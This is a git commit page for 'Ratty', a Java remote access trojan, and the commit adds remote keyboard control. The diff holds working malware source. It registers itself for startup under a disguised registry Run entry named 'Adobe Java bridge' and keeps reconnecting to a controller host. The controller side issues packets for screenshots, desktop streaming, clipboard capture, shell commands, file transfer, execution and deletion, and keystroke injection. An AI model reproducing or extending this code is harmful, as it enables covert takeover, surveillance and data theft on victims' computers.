Browse Source

Major changes

Added keyboard control
master
Sogomn 9 years ago
parent
commit
bc86aeff0d
  1. 3
      Ratty/res/connection_data.txt
  2. 12
      Ratty/src/de/sogomn/rat/Ratty.java
  3. 2
      Ratty/src/de/sogomn/rat/packet/KeyEventPacket.java
  4. 13
      Ratty/src/de/sogomn/rat/server/gui/DisplayPanel.java
  5. 50
      Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java

3
Ratty/res/connection_data.txt

@ -1,3 +1,2 @@
localhost
23456
false
23456

12
Ratty/src/de/sogomn/rat/Ratty.java

@ -19,7 +19,6 @@ public final class Ratty {
private static String address;
private static int port;
public static boolean client;
private static final int CONNECTION_INTERVAL = 2500;
private static final String CONNECTION_DATA_FILE_NAME = "/connection_data.txt";
@ -30,22 +29,21 @@ public final class Ratty {
private static final String REGISTRY_COMMAND = "REG ADD HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run /v \"Adobe Java bridge\" /d \"" + STARTUP_FILE_PATH + "\"";
public static final String VERSION = "1.0";
public static final boolean CLIENT = false;
private Ratty() {
//...
}
private static void readConnectionData() throws NumberFormatException, ArrayIndexOutOfBoundsException {
private static void readConnectionData() {
final String[] lines = FileUtils.readInternalLines(CONNECTION_DATA_FILE_NAME);
if (lines.length >= 3) {
if (lines.length >= 2) {
final String addressString = lines[0];
final String portString = lines[1];
final String clientString = lines[2];
address = addressString;
port = Integer.parseInt(portString);
client = Boolean.parseBoolean(clientString);
}
}
@ -71,7 +69,7 @@ public final class Ratty {
try {
Thread.sleep(CONNECTION_INTERVAL);
} catch (final InterruptedException ex) {
ex.printStackTrace();
//...
} finally {
System.gc();
connectToHost(address, port);
@ -97,7 +95,7 @@ public final class Ratty {
WebLookAndFeel.install();
readConnectionData();
if (client) {
if (CLIENT) {
addToStartup();
connectToHost(address, port);
} else {

2
Ratty/src/de/sogomn/rat/packet/KeyEventPacket.java

@ -49,6 +49,8 @@ public final class KeyEventPacket implements IPacket {
rob.keyPress(key);
rob.keyRelease(key);
}
System.out.println("Yeh");
} catch (final IllegalArgumentException ex) {
System.err.println("No valid key code");
} catch (final AWTException ex) {

13
Ratty/src/de/sogomn/rat/server/gui/DisplayPanel.java

@ -14,11 +14,16 @@ public final class DisplayPanel {
private Screen screen;
private BufferedImage image;
private int lastKeyHit;
private IGuiController controller;
private static final int SCREEN_WIDTH = 1920 / 2;
private static final int SCREEN_HEIGHT = 1080 / 2;
public static final String KEY_PRESSED = "Key pressed";
public static final String KEY_RELEASED = "Key released";
public DisplayPanel() {
//...
}
@ -38,8 +43,10 @@ public final class DisplayPanel {
}
private void keyEvent(final int key, final boolean flag) {
lastKeyHit = key;
if (controller != null) {
//TODO
controller.userInput(flag ? KEY_PRESSED : KEY_RELEASED);
}
}
@ -87,4 +94,8 @@ public final class DisplayPanel {
this.controller = controller;
}
public int getLastKeyHit() {
return lastKeyHit;
}
}

50
Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java

@ -11,6 +11,7 @@ import de.sogomn.rat.ActiveClient;
import de.sogomn.rat.IClientObserver;
import de.sogomn.rat.packet.ClipboardPacket;
import de.sogomn.rat.packet.CommandPacket;
import de.sogomn.rat.packet.CreateFolderPacket;
import de.sogomn.rat.packet.DeleteFilePacket;
import de.sogomn.rat.packet.DesktopStreamPacket;
import de.sogomn.rat.packet.DownloadFilePacket;
@ -19,7 +20,7 @@ import de.sogomn.rat.packet.FileSystemPacket;
import de.sogomn.rat.packet.FreePacket;
import de.sogomn.rat.packet.IPacket;
import de.sogomn.rat.packet.InformationPacket;
import de.sogomn.rat.packet.CreateFolderPacket;
import de.sogomn.rat.packet.KeyEventPacket;
import de.sogomn.rat.packet.PopupPacket;
import de.sogomn.rat.packet.ScreenshotPacket;
import de.sogomn.rat.packet.UploadFilePacket;
@ -70,32 +71,32 @@ public final class RattyGuiController implements IServerObserver, IClientObserve
}
private IPacket getPacket(final String command, final ServerClient serverClient) {
IPacket packet = null;
if (command == RattyGui.POPUP) {
return PopupPacket.create();
packet = PopupPacket.create();
} else if (command == RattyGui.FREE) {
return new FreePacket();
packet = new FreePacket();
} else if (command == RattyGui.SCREENSHOT) {
return new ScreenshotPacket();
packet = new ScreenshotPacket();
} else if (command == RattyGui.COMMAND) {
return CommandPacket.create();
packet = CommandPacket.create();
} else if (command == RattyGui.DESKTOP) {
return new DesktopStreamPacket(true);
packet = new DesktopStreamPacket(true);
} else if (command == RattyGui.CLIPBOARD) {
return new ClipboardPacket();
packet = new ClipboardPacket();
} else if (command == FileTreePanel.REQUEST) {
final FileTreePanel treePanel = serverClient.getTreePanel();
final String path = treePanel.getLastPathClicked();
final FileSystemPacket packet = new FileSystemPacket(path);
treePanel.removeChildren(path);
packet = new FileSystemPacket(path);
return packet;
treePanel.removeChildren(path);
} else if (command == FileTreePanel.DOWNLOAD) {
final FileTreePanel treePanel = serverClient.getTreePanel();
final String path = treePanel.getLastPathClicked();
final DownloadFilePacket packet = new DownloadFilePacket(path);
return packet;
packet = new DownloadFilePacket(path);
} else if (command == FileTreePanel.UPLOAD) {
final File file = chooseFile();
@ -103,37 +104,42 @@ public final class RattyGuiController implements IServerObserver, IClientObserve
final String localPath = file.getAbsolutePath();
final FileTreePanel treePanel = serverClient.getTreePanel();
final String path = treePanel.getLastNodePathFolder();
final UploadFilePacket packet = new UploadFilePacket(localPath, path);
return packet;
packet = new UploadFilePacket(localPath, path);
}
} else if (command == FileTreePanel.EXECUTE) {
final FileTreePanel treePanel = serverClient.getTreePanel();
final String path = treePanel.getLastPathClicked();
final ExecuteFilePacket packet = new ExecuteFilePacket(path);
return packet;
packet = new ExecuteFilePacket(path);
} else if (command == FileTreePanel.NEW_FOLDER) {
final FileTreePanel treePanel = serverClient.getTreePanel();
final String path = treePanel.getLastNodePathFolder();
final String name = JOptionPane.showInputDialog(null);
if (name != null && !name.isEmpty()) {
final CreateFolderPacket packet = new CreateFolderPacket(path, name);
return packet;
packet = new CreateFolderPacket(path, name);
}
} else if (command == FileTreePanel.DELETE) {
final FileTreePanel treePanel = serverClient.getTreePanel();
final String path = treePanel.getLastPathClicked();
final DeleteFilePacket packet = new DeleteFilePacket(path);
packet = new DeleteFilePacket(path);
treePanel.removeFile(path);
} else if (command == DisplayPanel.KEY_PRESSED) {
final DisplayPanel displayPanel = serverClient.getDisplayPanel();
final int key = displayPanel.getLastKeyHit();
return packet;
packet = new KeyEventPacket(key, KeyEventPacket.PRESS);
} else if (command == DisplayPanel.KEY_RELEASED) {
final DisplayPanel displayPanel = serverClient.getDisplayPanel();
final int key = displayPanel.getLastKeyHit();
packet = new KeyEventPacket(key, KeyEventPacket.RELEASE);
}
return null;
return packet;
}
private void handle(final ServerClient serverClient, final ScreenshotPacket packet) {

Loading…
Cancel
Save